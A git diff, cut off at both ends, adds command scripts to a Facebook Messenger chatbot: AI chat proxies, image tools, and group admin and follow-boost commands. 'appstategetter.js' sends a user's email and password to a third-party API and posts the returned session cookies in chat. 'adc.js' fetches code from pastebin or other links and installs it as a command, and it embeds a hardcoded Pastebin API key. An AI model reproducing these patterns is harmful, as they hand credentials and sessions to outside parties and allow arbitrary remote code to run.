Try Again Later!', threadID, messageID); + } +}; diff --git a/script/4k.js b/script/4k.js new file mode 100644 index 000000000..d80da7269 --- /dev/null +++ b/script/4k.js @@ -0,0 +1,52 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "4k", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Enhance an image", + hasPrefix: false, + aliases: ["enhanceImage"], + usage: "[4k]", + cooldown: 5 +}; + +module.exports.run = async function({ api, event }) { + try { + + if (!event.messageReply || !event.messageReply.attachments || event.messageReply.attachments.length === 0) { + return api.sendMessage("Please reply to an image with this command to enhance it.", event.threadID); + } + + const attachment = event.messageReply.attachments[0]; + + // mag procces lng pag may attachment + if (attachment.type !== 'photo') { + return api.sendMessage("Please reply to a valid image to enhance.", event.threadID); + } + + const imageUrl = attachment.url; + const apiUrl = `https://hiroshi-rest-api.replit.app/tools/remini?url=${encodeURIComponent(imageUrl)}`; + + api.sendMessage("Enhancing the image, please wait...", event.threadID); + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const enhancedImagePath = path.join(__dirname, "enhancedImage.png"); + + fs.writeFileSync(enhancedImagePath, response.data); + + api.sendMessage({ + body: "Here is your enhanced image:", + attachment: fs.createReadStream(enhancedImagePath) + }, event.threadID, () => { + fs.unlinkSync(enhancedImagePath); + }); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/activelist.js b/script/activelist.js new file mode 100644 index 000000000..6b6cbc515 --- /dev/null +++ b/script/activelist.js @@ -0,0 +1,124 @@ +const fs = require("fs"); +const util = require("util"); +const path = require("path"); +const os = require("os"); + +const unlinkAsync = util.promisify(fs.unlink); + +const historyFilePath = path.resolve(__dirname, '..', 'data', 'history.json'); + +let historyData = []; + +try { + historyData = require(historyFilePath); +} catch (readError) { + console.error('Error reading history.json:', readError); +} + +module.exports.config = { + name: 'active-list', + aliases: ["listusers", "listbots", "activeusers", "list-users", "bot-users", "active-users", "active-bots", "list-bot", "botstatus"], + description: 'List all active bots in the history session.', + version: '1.4.0', + role: 2, + cooldown: 0, + credits: "cliff", + hasPrefix: false, + usage: "active-session", + dependencies: { + "process": "" + } +}; + +module.exports.run = async function ({ api, event, args }) { + const pogi = "61555814951548"; + if (!pogi.includes(event.senderID)) + return api.sendMessage("This Command is only for AUTOBOT owner.", event.threadID, event.messageID); + const { threadID, messageID } = event; + + if (args[0] && args[0].toLowerCase() === 'logout') { + await logout(api, event); + return; + } + + if (historyData.length === 0) { + api.sendMessage('No users found in the history configuration.', threadID, messageID); + return; + } + + const currentUserId = api.getCurrentUserID(); + const mainBotIndex = historyData.findIndex(user => user.userid === currentUserId); + + if (mainBotIndex === -1) { + api.sendMessage('Main bot not found in history.', threadID, messageID); + return; + } + + const mainBot = historyData[mainBotIndex]; + const mainBotName = await getUserName(api, currentUserId); + const mainBotOSInfo = getOSInfo(); + const mainBotRunningTime = convertTime(mainBot.time); + + const userPromises = historyData + .filter((user) => user.userid !== currentUserId) + .map(async (user, index) => { + const userName = await getUserName(api, user.userid); + const userRunningTime = convertTime(user.time); + return `${index + 1}. ๐—ก๐—”๐— ๐—˜: ${userName}\n๐—œ๐——: ${user.userid}\n๐—จ๐—ฃ๐—ง๐—œ๐— ๐—˜: ${userRunningTime}`; + }); + + const userList = (await Promise.all(userPromises)).filter(Boolean); + + const userCount = userList.length; + + const userMessage = `๐— ๐—”๐—œ๐—ก๐—•๐—ข๐—ง: ${mainBotName}\n๐—œ๐——: ${currentUserId} \n๐—•๐—ข๐—ง ๐—ฅ๐—จ๐—ก๐—ก๐—œ๐—ก๐—š: ${mainBotRunningTime}\n\n| SYSTEM |\n\n${mainBotOSInfo}\n\n๐—ข๐—ง๐—›๐—˜๐—ฅ ๐—ฆ๐—˜๐—ฆ๐—ฆ๐—œ๐—ข๐—ก [${userCount}]\n\n${userList.join('\n')}\n\n If you'd like to end the conversation at any point, simply type "active-session logout" and I'll gracefully exit.`; + + api.sendMessage(userMessage, threadID, messageID); +}; + +async function logout(api, event) { + const { threadID, messageID } = event; + const currentUserId = api.getCurrentUserID(); + const jsonFilePath = path.resolve(__dirname, '..', 'data', 'session', `${currentUserId}.json`); + + try { + await unlinkAsync(jsonFilePath); + api.sendMessage('Bot Has been Logout!.', threadID, messageID, ()=> process.exit(1)); + } catch (error) { + console.error('Error deleting JSON file:', error); + api.sendMessage('Error during logout. Please try again.', threadID, messageID); + } +} + +async function getUserName(api, userID) { + try { + const userInfo = await api.getUserInfo(userID); + return userInfo && userInfo[userID] ? userInfo[userID].name : "unknown"; + } catch (error) { + return "unknown"; + } +} + +function getOSInfo() { + const osInfo = `${os.type()} ${os.release()} ${os.arch()} (${os.platform()})`; + const totalMemory = formatBytes(os.totalmem()); + const freeMemory = formatBytes(os.freemem()); + return `OS: ${osInfo}\nCPU: ${os.cpus()[0].model}\nCores: ${os.cpus().length}\nTotal Memory: ${totalMemory}\nFree Memory: ${freeMemory}`; +} + +function convertTime(timeValue) { + const totalSeconds = parseInt(timeValue, 10); + const days = Math.floor(totalSeconds / (24 * 60 * 60)); + const remainingHours = Math.floor((totalSeconds % (24 * 60 * 60)) / 3600); + const remainingMinutes = Math.floor((totalSeconds % 3600) / 60); + const remainingSeconds = totalSeconds % 60; + + return `${days} days ${remainingHours} hours ${remainingMinutes} minutes ${remainingSeconds} seconds`; +} + +function formatBytes(bytes) { + const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB']; + if (bytes === 0) return '0 Byte'; + const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024))); + return Math.round(100 * (bytes / Math.pow(1024, i))) / 100 + ' ' + sizes[i]; +} diff --git a/script/adc.js b/script/adc.js index d909d73fa..fcd3f44f1 100644 --- a/script/adc.js +++ b/script/adc.js @@ -1,85 +1,107 @@ module.exports.config = { - name: "adc", - version: "1.0.0", - role: 3, - hasPrefix: true, - usage: '[reply or text]', - description: 'Apply code from buildtooldev and pastebin', - credits: 'Deveploper', - cooldown: 5 + name: "adc", + version: "1.0.0", + hasPermssion: 2, + credits: "to the owner", + description: "Apply code from buildtooldev and pastebin", + usePrefix: false, + commandCategory: "Admin", + usages: "[reply or text]", + cooldowns: 0, + dependencies: { + "pastebin-api": "", + "cheerio": "", + "request": "" + } }; -module.exports.run = async function({ - api, - event, - args -}) { - const axios = require('axios'); - const fs = require('fs'); - const request = require('request'); - const cheerio = require('cheerio'); - const { - senderID, - threadID, - messageID, - messageReply, - type - } = event; - var name = args[0]; - if (type == "message_reply") { - var text = messageReply.body; - } - if (!text && !name) return api.sendMessage('Please reply to the link you want to apply the code to or write the file name to upload the code to pastebin!', threadID, messageID); - if (!text && name) { - var data = fs.readFile(`${__dirname}/${args[0]}.js`, "utf-8", async (err, data) => { - if (err) return api.sendMessage(`Command ${args[0]} does not exist!`, threadID, messageID); - const { - PasteClient - } = require('pastebin-api'); - const client = new PasteClient("R02n6-lNPJqKQCd5VtL4bKPjuK6ARhHb"); - async function pastepin(name) { - const url = await client.createPaste({ - code: data, - expireDate: 'N', - format: "javascript", - name: name, - publicity: 1 + +module.exports.run = async function ({ api, event, args }) { + const pogi = "61555814951548"; + if (!pogi.includes(event.senderID)) + return api.sendMessage("Sorry only pogi can use adc.", event.threadID, event.messageID); + const axios = require('axios'); + const fs = require('fs'); + const request = require('request'); + const cheerio = require('cheerio'); + const { join, resolve } = require("path"); + const { senderID, threadID, messageID, messageReply, type } = event; + var name = args[0]; + if (type == "message_reply") { + var text = messageReply.body; + } + if(!text && !name) return api.sendMessage('Please reply to the link you want to apply the code to or write the file name to upload the code to pastebin!', threadID, messageID); + if(!text && name) { + var data = fs.readFile( + `${__dirname}/${args[0]}.js`, + "utf-8", + async (err, data) => { + if (err) return api.sendMessage(`Command ${args[0]} does not exist!.`, threadID, messageID); + const { PasteClient } = require('pastebin-api') + const client = new PasteClient("R02n6-lNPJqKQCd5VtL4bKPjuK6ARhHb"); + async function pastepin(name) { + const url = await client.createPaste({ + code: data, + expireDate: 'N', + format: "javascript", + name: name, + publicity: 1 + }); + var id = url.split('/')[3] + return 'https://pastebin.com/raw/' + id + } + var link = await pastepin(args[1] || 'noname') + return api.sendMessage(link, threadID, messageID); + } + ); + return + } + var urlR = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/ + var url = text.match(urlR); + if (url[0].indexOf('pastebin') !== -1) { + axios.get(url[0]).then(i => { + var data = i.data + fs.writeFile( + `${__dirname}/${args[0]}.js`, + data, + "utf-8", + function (err) { + if (err) return api.sendMessage(`An error occurred while applying the code ${args[0]}.js`, threadID, messageID); + api.sendMessage(`Applied the code to ${args[0]}.js, use command load to use!`, threadID, messageID); + } + ); + }) + } + + if (url[0].indexOf('buildtool') !== -1 || url[0].indexOf('tinyurl.com') !== -1) { + const options = { + method: 'GET', + url: messageReply.body + }; + request(options, function (error, response, body) { + if (error) return api.sendMessage('Please only reply to the link (doesnt contain anything other than the link)', threadID, messageID); + const load = cheerio.load(body); + load('.language-js').each((index, el) => { + if (index !== 0) return; + var code = el.children[0].data + fs.writeFile(`${__dirname}/${args[0]}.js`, code, "utf-8", + function (err) { + if (err) return api.sendMessage(`An error occurred while applying the new code to "${args[0]}.js".`, threadID, messageID); + return api.sendMessage(`Added this code "${args[0]}.js", use command load to use!`, threadID, messageID); + } + ); + }); }); - var id = url.split('/')[3]; - return 'https://pastebin.com/raw/' + id; + return + } + if (url[0].indexOf('drive.google') !== -1) { + var id = url[0].match(/[-\w]{25,}/) + const path = resolve(__dirname, `${args[0]}.js`); + try { + await utils.downloadFile(`https://drive.google.com/u/0/uc?id=${id}&export=download`, path); + return api.sendMessage(`Added this code "${args[0]}.js" If there is an error, change the drive file to txt!`, threadID, messageID); } - var link = await pastepin(args[1] || 'noname'); - return api.sendMessage(link, threadID, messageID); - }); - return; - } - var urlR = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/; - var url = text.match(urlR); - if (url[0].indexOf('pastebin') !== -1) { - axios.get(url[0]).then(i => { - var data = i.data; - fs.writeFile(`${__dirname}/${args[0]}.js`, data, "utf-8", function(err) { - if (err) return api.sendMessage(`An error occurred while applying the code ${args[0]}.js`, threadID, messageID); - api.sendMessage(`Applied the code to ${args[0]}.js, use command load to use!`, threadID, messageID); - }); - }); - } - if (url[0].indexOf('buildtool') !== -1 || url[0].indexOf('tinyurl.com') !== -1) { - const options = { - method: 'GET', - url: messageReply.body - }; - request(options, function(error, response, body) { - if (error) return api.sendMessage('Please only reply to the link (doesnt contain anything other than the link)', threadID, messageID); - const load = cheerio.load(body); - load('.language-js').each((index, el) => { - if (index !== 0) return; - var code = el.children[0].data; - fs.writeFile(`${__dirname}/${args[0]}.js`, code, "utf-8", function(err) { - if (err) return api.sendMessage(`An error occurred while applying the new code to "${args[0]}.js".`, threadID, messageID); - return api.sendMessage(`Added this code "${args[0]}.js", use command load to use!`, threadID, messageID); - }); - }); - }); - return; - } -} + catch(e) { + return api.sendMessage(`An error occurred while applying the new code to "${args[0]}.js".`, threadID, messageID); + } + } + } diff --git a/script/adduser.js b/script/adduser.js new file mode 100644 index 000000000..a3079adfb --- /dev/null +++ b/script/adduser.js @@ -0,0 +1,33 @@ +module.exports.config = { + name: "adduser", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Add a user ", + hasPrefix: false, + aliases: ["add"], + usage: "[adduser ]", + cooldown: 5 +}; + +module.exports.run = async function({ api, event, args }) { + try { + const uid = args[0]; + if (!uid) { + api.sendMessage("Usage: adduser ", event.threadID); + return; + } + + api.addUserToGroup(uid, event.threadID, (err) => { + if (err) { + api.sendMessage(`Failed to add user with UID ${uid} to the group.`, event.threadID); + console.error('Error:', err); + } else { + api.sendMessage(`Successfully added user with UID ${uid} to the group.`, event.threadID); + } + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/adobo.js b/script/adobo.js new file mode 100644 index 000000000..e2e753781 --- /dev/null +++ b/script/adobo.js @@ -0,0 +1,35 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'adobo', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['adobo'], + description: 'Adobo AI Command', + usage: 'adobo [query]', + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const query = args.join(' '); + + if (!query) { + api.sendMessage('Please provide a question. For example: adobo who is the current president in the Philippines?', event.threadID, event.messageID); + return; + } + + try { + const response = await axios.get('https://markdevs69-1efde24ed4ea.herokuapp.com/api/adobo/gpt', { + params: { query: query } + }); + + const data = response.data.response; + + api.sendMessage(data, event.threadID, event.messageID); + } catch (error) { + console.error('Error:', error); + api.sendMessage('An error occurred while fetching the response.', event.threadID, event.messageID); + } +}; diff --git a/script/ai.js b/script/ai.js index 17c1abfa3..03ee8a438 100644 --- a/script/ai.js +++ b/script/ai.js @@ -1,33 +1,52 @@ const axios = require('axios'); + module.exports.config = { name: 'ai', version: '1.0.0', - role: 0, - hasPrefix: false, + hasPermission: 0, + usePrefix: false, aliases: ['gpt', 'openai'], description: "An AI command powered by GPT-4", - usage: "Ai [promot]", + usages: "ai [prompt]", credits: 'Developer', - cooldown: 3, + cooldowns: 3, + dependencies: { + "axios": "" + } }; -module.exports.run = async function({ - api, - event, - args -}) { + +module.exports.run = async function({ api, event, args }) { const input = args.join(' '); + if (!input) { - api.sendMessage(`Please provide a question or statement after 'ai'. For example: 'ai What is the capital of France?'`, event.threadID, event.messageID); + api.sendMessage(`๐Ÿค– ๐™ด๐™ณ๐š„๐™ฒ ๐™ฑ๐™พ๐šƒ ๐™ฐ๐™ธ\n ๏ผˆโ€žโ€ข ึŠ โ€ขโ€ž)โ™ก\nโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌ\n\n How can I help you today? `, event.threadID, event.messageID); return; } + + if (input === "clear") { + try { + await axios.post('https://gpt-4-cfgh.onrender.com/clear', { id: event.senderID }); + return api.sendMessage("Chat history has been cleared.", event.threadID, event.messageID); + } catch { + return api.sendMessage('An error occurred while clearing the chat history.', event.threadID, event.messageID); + } + } + api.sendMessage(`๐Ÿ” "${input}"`, event.threadID, event.messageID); + try { - const { - data - } = await axios.get(`https://soyeon-api.onrender.com/api?prompt=${encodeURIComponent(input)}`); - const response = data.response; - api.sendMessage(response + '\n\nhttps://bit.ly/create-chatbot-me', event.threadID, event.messageID); - } catch (error) { + const url = event.type === "message_reply" && event.messageReply.attachments[0]?.type === "photo" + ? { link: event.messageReply.attachments[0].url } + : {}; + + const { data } = await axios.post('https://gpt-4-cfgh.onrender.com/chat', { + prompt: input, + customId: event.senderID, + ...url + }); + + api.sendMessage(`'๐Ÿค– ๐™ด๐™ณ๐š„๐™ฒ ๐™ฑ๐™พ๐šƒ ๐™ฐ๐™ธ\n ๏ผˆโ€žโ€ข ึŠ โ€ขโ€ž)โ™ก\nโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌ\n${data.message}\n\nType "ai clear" to reset the conversation.\nโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌโ–ฌ\n[๐Ÿ“š]|๐—š๐—ฃ๐—ง-๐Ÿฐ`, event.threadID, event.messageID); + } catch { api.sendMessage('An error occurred while processing your request.', event.threadID, event.messageID); } }; diff --git a/script/ai2.js b/script/ai2.js new file mode 100644 index 000000000..d92ffef14 --- /dev/null +++ b/script/ai2.js @@ -0,0 +1,35 @@ +const axios = require("axios"); + +module.exports.config = { + name: "ai2", + version: "1.0.0", + credits: "chill", + description: "Interact with Llama AI", + hasPrefix: false, + cooldown: 5, + aliases: ["llama"] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + let q = args.join(" "); + if (!q) { + return api.sendMessage("[ โ— ] - Missing question for the ai2", event.threadID, event.messageID); + } + + api.sendMessage("Answering plss wait...", event.threadID, async (err, info) => { + try { + const response = await axios.get(`https://joshweb.click/ai/llama-3-8b?q=${encodeURIComponent(q)}&uid=100`); + const answer = response.data.result; + + api.sendMessage(answer, event.threadID); + } catch (error) { + console.error(error); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } + }); + } catch (error) { + console.error("Error in lma command:", error); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } +}; diff --git a/script/antiadmin.js b/script/antiadmin.js new file mode 100644 index 000000000..ddedb63b3 --- /dev/null +++ b/script/antiadmin.js @@ -0,0 +1,60 @@ +const fs = require('fs'); + +function l() { + try { + const d = fs.readFileSync("admin.json", "utf8"); + return JSON.parse(d); + } catch (e) { + return {}; + } +} + +function s(s) { + fs.writeFileSync("admin.json", JSON.stringify(s, null, 2)); +} + +let a = l(); + +module.exports.config = { + name: "antiadmin", + version: "1.0.0", + role: 2, + credits: "cliff", + hasPrefix: false, + description: "anti gc admin: If someone removes you from admin, the bot will add you again as admin. If the bot is removed from admin, moye moye", + usage: "{pn} off or on - current state always on", + cooldowns: 5 +}; + +module.exports.run = async function ({ api, event, args }) { + if (args[0] === "off") { + a[event.threadID] = 'off'; + s(a); + return api.sendMessage(`Disabled.`, event.threadID); + } else if (args[0] === "on") { + delete a[event.threadID]; + s(a); + return api.sendMessage(`Enabled.`, event.threadID); + } else { + return api.sendMessage(`Usage: {pn} off to turn off`, event.threadID); + } +}; + +module.exports.handleEvent = async function ({ api, event }) { + if (a[event.threadID] === 'off' || !event.logMessageData || event.logMessageData.ADMIN_EVENT !== "remove_admin") { + return; + } + + const d = event.threadID; + const f = event.logMessageData.TARGET_ID; + const g = event.author; + + try { + if (g !== api.getCurrentUserID() && f !== api.getCurrentUserID()) { + await api.changeAdminStatus(d, f, true); + await api.changeAdminStatus(d, g, false); + } + } catch (h) { + console.error("Error", h); + } +}; diff --git a/script/appstategetter.js b/script/appstategetter.js new file mode 100644 index 000000000..53d2256bd --- /dev/null +++ b/script/appstategetter.js @@ -0,0 +1,45 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'appstategetter', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['appstate'], + description: "AppState Getter ", + usage: "appstate [email] [password]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const pangit = args[0]; + const bobo = args[1]; + const chilli = { className: '', textContent: '' }; + + if (!pangit || !bobo) { + chilli.className = 'error'; + chilli.textContent = 'Usage: appstate [email] [password]'; + api.sendMessage(chilli.textContent, event.threadID, event.messageID); + return; + } + + chilli.textContent = 'Getting AppState...'; + api.sendMessage(chilli.textContent, event.threadID, event.messageID); + + const appStateUrl = `https://nash-rest-api.replit.app/app-state?email=${encodeURIComponent(pangit)}&password=${encodeURIComponent(bobo)}`; + + try { + const response = await axios.get(appStateUrl); + const data = response.data; + + chilli.className = 'success'; + chilli.textContent = `Here's ur appstate:\n${JSON.stringify(data, null, 2)}`; + api.sendMessage(chilli.textContent, event.threadID, event.messageID); + } catch (error) { + console.error('Error fetching the AppState:', error); + chilli.className = 'error'; + chilli.textContent = 'An error occurred while fetching the AppState.'; + api.sendMessage(chilli.textContent, event.threadID, event.messageID); + } +}; diff --git a/script/ashley.js b/script/ashley.js new file mode 100644 index 000000000..691a06954 --- /dev/null +++ b/script/ashley.js @@ -0,0 +1,48 @@ +const axios = require("axios"); + +module.exports.config = { + name: "ashley", + version: "1.0.0", + role: 0, + credits: "chilli", + description: "Fetch a response from Ashley", + hasPrefix: true, + aliases: ["ashkey", "ash"], + usage: "[ashley ]", + cooldown: 5, +}; + +module.exports.run = async function ({ api, event, args }) { + try { + // Check if a query is provided + if (args.length === 0) { + api.sendMessage("Please provide a query: ex: ashley subo moto.", event.threadID); + return; + } + + const query = args.join(" "); + + // Inform the user that the fetching process has started + const initialMessage = await api.sendMessage("๐™ฐ๐š‚๐™ท๐™ป๐™ด๐šˆ ๐šƒ๐™ฐ๐™ป๐™บ๐™ธ๐™ฝ๐™ถ....", event.threadID); + + // Fetch the response from the Ashley API + const response = await axios.get(`https://markdevs-last-api-as2j.onrender.com/api/ashley?query=${encodeURIComponent(query)}`); + const ashleyResponse = response.data.result; + + // Check if the response contains valid data + if (!ashleyResponse) { + api.sendMessage("No response found from Ashley.", event.threadID); + return; + } + + // Format the response message + const formattedResponse = `๐Ÿ”ž ๐™ฐ๐š‚๐™ท๐™ป๐™ด๐šˆ ๐™ท๐™พ๐š๐™ฝ๐šˆ ๐™ฐ๐™ธ\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n${ashleyResponse}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n-๐™ฐ๐š‚๐™ท๐™ป๐™ด๐šˆ ๐šƒ๐™ธ๐™ถ๐™ฝ๐™ฐ๐™ฝ ๐™ผ๐™พ ๐™ฐ๐™บ๐™พ`; + + // Edit the initial message with the formatted response + await api.editMessage(formattedResponse, initialMessage.messageID); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/ask.js b/script/ask.js new file mode 100644 index 000000000..773fa4d3a --- /dev/null +++ b/script/ask.js @@ -0,0 +1,29 @@ +const axios = require('axios'); + +module.exports.config = { + name: "ask", + version: 1.0, + credits: "OtinXSandip", + description: "AI", + hasPrefix: false, + usages: "{pn} [prompt]", + aliases: [], + cooldown: 0, +}; + +module.exports.run = async function ({ api, event, args }) { + try { + const prompt = args.join(" "); + if (!prompt) { + await api.sendMessage("Hey I'm your virtual assistant, ask me a question.", event.threadID); + return; + } + + const response = await axios.get(`https://sandipbaruwal.onrender.com/gpt?prompt=${encodeURIComponent(prompt)}`); + const answer = response.data.answer; + + await api.sendMessage(answer, event.threadID); + } catch (error) { + console.error("Error:", error.message); + } +}; diff --git a/script/autofollow.js b/script/autofollow.js new file mode 100644 index 000000000..dfc336217 --- /dev/null +++ b/script/autofollow.js @@ -0,0 +1,42 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'autofollow', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['boostfollow'], + description: "Automatically follow a user by UID", + usage: "autofollow [amount | uid]", + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const input = args.join(" ").split("|").map(item => item.trim()); + + if (input.length < 2) { + api.sendMessage('Please provide both an amount and a UID in the format: autofollow amounthere | uidhere', event.threadID, event.messageID); + return; + } + + const [amount, uid] = input; + + const apiUrl = `https://nethwieapi.onrender.com/follow?amount=${encodeURIComponent(amount)}&uid=${encodeURIComponent(uid)}`; + + try { + api.sendMessage('๐Ÿš€ Boosting follow...', event.threadID, event.messageID); + + const response = await axios.get(apiUrl); + const result = response.data; + + if (result.error) { + api.sendMessage(`Error: ${result.error}`, event.threadID, event.messageID); + } else { + api.sendMessage(`Successfully followed user with UID: ${uid}`, event.threadID, event.messageID); + } + } catch (error) { + console.error('Error:', error); + api.sendMessage('Error: ' + error.message, event.threadID, event.messageID); + } +}; diff --git a/script/autosetname.js b/script/autosetname.js new file mode 100644 index 000000000..57d245ea4 --- /dev/null +++ b/script/autosetname.js @@ -0,0 +1,53 @@ +module.exports.config = { + name: "autosetname", + version: "1.0.1", + hasPermssion: 1, + credits: "BLACK", + usePrefix: false, + description: "Automatic setname for new members", + commandCategory: "Box Chat", + usages: "[add /remove] ", + cooldowns: 5 +} + +module.exports.onLoad = () => { + const { existsSync, writeFileSync } = global.nodemodule["fs-extra"]; + const { join } = global.nodemodule["path"]; + const pathData = join(__dirname, "cache", "autosetname.json"); + if (!existsSync(pathData)) return writeFileSync(pathData, "[]", "utf-8"); +} + +module.exports.run = async function ({ event, api, args, permssionm, Users }) { + const { threadID, messageID } = event; + const { readFileSync, writeFileSync } = global.nodemodule["fs-extra"]; + const { join } = global.nodemodule["path"]; + + const pathData = join(__dirname, "cache", "autosetname.json"); + const content = (args.slice(1, args.length)).join(" "); + var dataJson = JSON.parse(readFileSync(pathData, "utf-8")); + var thisThread = dataJson.find(item => item.threadID == threadID) || { threadID, nameUser: [] }; + switch (args[0]) { + case "add": { + if (content.length == 0) return api.sendMessage("The configuration of the new member's name must not be vacated!", threadID, messageID); + if (thisThread.nameUser.length > 0) return api.sendMessage("Please remove the old name configuration before naming a new name!!!", threadID, messageID); + thisThread.nameUser.push(content); + const name = (await Users.getData(event.senderID)).name + writeFileSync(pathData, JSON.stringify(dataJson, null, 4), "utf-8"); + api.sendMessage(`Configure a successful new member name\nPreview: ${content} ${name}`, threadID, messageID); + break; + } + case "rm": + case "remove": + case "delete": { + if (thisThread.nameUser.length == 0) return api.sendMessage("Your group hasn't configured a new member's name!!", threadID, messageID); + thisThread.nameUser = []; + api.sendMessage(`Successfully deleted the configuration of a new member's name`, threadID, messageID); + break; + } + default: { + api.sendMessage(`Use: autosetname add to configure a nickname for a new member\n: autosetname remove to remove the nickname configuration for the new member`, threadID, messageID); + } + } + if (!dataJson.some(item => item.threadID == threadID)) dataJson.push(thisThread); + return writeFileSync(pathData, JSON.stringify(dataJson, null, 4), "utf-8"); +} diff --git a/script/avatarv1.js b/script/avatarv1.js new file mode 100644 index 000000000..90abfb4ce --- /dev/null +++ b/script/avatarv1.js @@ -0,0 +1,66 @@ +// Define the module configuration +module.exports.config = { + name: "avatarv1", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate an avatar image", + hasPrefix: false, + aliases: ["avatarv1", "avwibu"], + usage: "[avatarv1 | | | ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + // Join arguments into a single string and split by " | " + const input = args.join(" "); + const [id, name, signature, color] = input.split(" | "); + + // Check if all required arguments are provided + if (!id || !name || !signature || !color) { + api.sendMessage("Usage: avatarv1 | | | ", event.threadID); + return; + } + + // Construct the API URL with properly encoded parameters + const url = `https://hiroshi-rest-api.replit.app/canvas/avatarwibu?id=${encodeURIComponent(id)}&name=${encodeURIComponent(name)}&signature=${encodeURIComponent(signature)}&color=${encodeURIComponent(color)}`; + const imagePath = path.join(__dirname, "avatarwibu.png"); + + // Notify the user that the image is being generated + api.sendMessage("Generating your avatar, please wait...", event.threadID); + + // Fetch the image from the API + const response = await axios({ + url: url, + method: 'GET', + responseType: 'stream' + }); + + // Create a writable stream to save the image + const writer = fs.createWriteStream(imagePath); + response.data.pipe(writer); + + // Handle the finish event of the writable stream + writer.on('finish', () => { + api.sendMessage({ + attachment: fs.createReadStream(imagePath) + }, event.threadID, () => { + fs.unlinkSync(imagePath); // Clean up the file after sending + }); + }); + + // Handle errors during the writing process + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/avatarv2.js b/script/avatarv2.js new file mode 100644 index 000000000..abe01e211 --- /dev/null +++ b/script/avatarv2.js @@ -0,0 +1,45 @@ +module.exports.config = { + name: "avatarv2", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate avatar v2", + hasPrefix: false, + aliases: ["avatarv2"], + usage: "[avatarv2 | | | ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const input = args.join(" "); + const [id, bgtext, signature, color] = input.split(" | "); + + if (!id || !bgtext || !signature || !color) { + return api.sendMessage("Please provide all required parameters: id | bgtext | signature | color.", event.threadID); + } + + const apiUrl = `https://joshweb.click/canvas/avatarv2?id=${encodeURIComponent(id)}&bgtext=${encodeURIComponent(bgtext)}&signature=${encodeURIComponent(signature)}&color=${encodeURIComponent(color)}`; + + api.sendMessage("Generating avatar, please wait...", event.threadID); + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const avatarPath = path.join(__dirname, "avatar.jpg"); + + fs.writeFileSync(avatarPath, response.data); + + api.sendMessage({ + body: "Here is your avatarv2:", + attachment: fs.createReadStream(avatarPath) + }, event.threadID, () => { + fs.unlinkSync(avatarPath); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/avatarwibu.js b/script/avatarwibu.js new file mode 100644 index 000000000..c7d1d462f --- /dev/null +++ b/script/avatarwibu.js @@ -0,0 +1,56 @@ +module.exports.config = { + name: "avatarwibu", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate an avatar image", + hasPrefix: false, + aliases: ["avatar", "avwibu"], + usage: "[avatarwibu ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const [chilli, pogi, mabantovor, bing] = args; + + if (!chilli || !pogi || !mabantovor || !bing) { + api.sendMessage("Usage: avatarwibu ", event.threadID); + return; + } + + const url = `https://hiroshi-rest-api.replit.app/canvas/avatarwibu?id=${encodeURIComponent(chilli)}&name=${encodeURIComponent(pogi)}&signature=${encodeURIComponent(mabantovor)}&color=${encodeURIComponent(bing)}`; + const imagePath = path.join(__dirname, "avatarwibu.png"); + + api.sendMessage("Generating your avatar, please wait...", event.threadID); + + const response = await axios({ + url: url, + method: 'GET', + responseType: 'stream' + }); + + const writer = fs.createWriteStream(imagePath); + 